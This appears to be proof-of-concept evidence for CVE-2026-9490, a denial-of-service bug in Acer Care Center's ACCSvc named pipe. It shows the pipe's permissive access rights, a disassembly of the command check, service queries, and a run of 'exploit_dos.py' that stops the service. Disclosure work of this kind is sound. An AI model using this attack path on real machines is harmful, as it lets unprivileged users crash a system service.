CVE-2026-9490

D:(D;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

Pipe Name:        \\.\pipe\treadstone_service_LightMode
dwOpenMode:       0x03 (PIPE_ACCESS_DUPLEX)
dwPipeMode:       0x06 (PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE)
nMaxInstances:    255
nOutBufferSize:   512
nInBufferSize:    512
nDefaultTimeOut:  1000ms

0x140008b1a      mov ebx, dword [rdx + rcx]     ; Read command
0x140008b1d      lea eax, [rbx - 0x19065]       ; Subtract base
0x140008b23      cmp eax, 2                      ; Check range
0x140008b26      ja  0x140008bde                 ; Jump if invalid

accesschk.exe -v \pipe\treadstone_service_LightMode
Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\treadstone_service_LightMode
  Medium Mandatory Level (Default) [No-Write-Up]
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_CREATE_PIPE_INSTANCE
        FILE_APPEND_DATA
        FILE_EXECUTE
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_DATA
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_DATA
        FILE_WRITE_EA
        SYNCHRONIZE
        READ_CONTROL
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
        
C:\Users\thang\Downloads\Acer>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

C:\Users\thang\Downloads\Acer>sc qc ACCSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ACCSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\Acer\Care Center\ACCSvc.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ACC Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\thang\Downloads\Acer>sc query ACCSvc

SERVICE_NAME: ACCSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

C:\Users\thang\Downloads\Acer>python exploit_dos.py
[*] ACCSvc DoS Attack
[*] Target: \\.\pipe\treadstone_service_LightMode
[+] DoS payload sent - service should crash

C:\Users\thang\Downloads\Acer>sc query ACCSvc

SERVICE_NAME: ACCSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 1067  (0x42b)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0